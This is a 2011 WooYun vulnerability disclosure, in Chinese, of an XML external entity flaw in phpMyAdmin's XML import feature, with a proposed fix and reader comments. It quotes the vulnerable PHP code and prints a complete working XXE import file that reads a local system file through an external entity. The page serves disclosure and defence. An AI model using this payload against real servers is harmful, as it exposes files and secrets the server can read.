当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03185

漏洞标题:PhpMyadmin任意文件读取漏洞

相关厂商:PhpMyadmin

漏洞作者: 80sec

提交时间:2011-11-01 23:14

修复时间:2011-11-01 23:15

公开时间:2011-11-01 23:15

漏洞类型:默认配置不当

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-11-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-11-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源

详细说明:

libraries/import/xml.php中

unset($data);
/**
* Load the XML string
*
* The option LIBXML_COMPACT is specified because it can
* result in increased performance without the need to
* alter the code in any way. It's basically a freebee.
*/
$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);
unset($buffer);
/**
* The XML was malformed
*/
if ($xml === FALSE) {


可以使用系统中的import功能导入一个精心构造的xml文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE wooyun [
<!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">
]>
<!--
- phpMyAdmin XML Dump
- version 3.4.4
- http://www.phpmyadmin.net
-
- 主机: localhost
- 生成日期: 2011 年 11 月 01 日 14:56
- 服务器版本: 5.1.28
- PHP 版本: 5.2.6
-->
<pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">
<!--
- Structure schemas
-->
<pma:structure_schemas>
<pma:database name="test" collation="utf8_general_ci" charset="utf8">
<pma:table name="ts_ad">
&hi80sec;
</pma:table>
</pma:database>
</pma:structure_schemas>
<!--
- 数据库: 'thinksns'
-->
<database name="thinksns">
<!-- 表 ts_ad -->
</database>
</pma_xml_export>


来读写文件,系统错误信息会直接显示出文件内容

漏洞证明:

修复方案:

换其他操作xml的方式,譬如xml_parse

版权声明:转载请注明来源 80sec@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2011-11-01 23:17 | BNE ( 普通白帽子 | Rank:105 漏洞数:7 | NIce)

    牛逼!如果不是root,也可以通过这个读文件了!php和mysql不是一个用户,也可以读了

  2. 2011-11-01 23:18 | 80sec ( 普通白帽子 | Rank:115 漏洞数:5 | 不要停止我的音乐)

    http://www.80sec.com/xml-entity-injection.html的精确利用

  3. 2011-11-02 14:03 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    膜拜啊,藏得这么深的东西你都能发现。

  4. 2012-06-17 12:05 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    libraries/import/xml.php xml.php我版本的phpmyadmin没有 难道目录不同?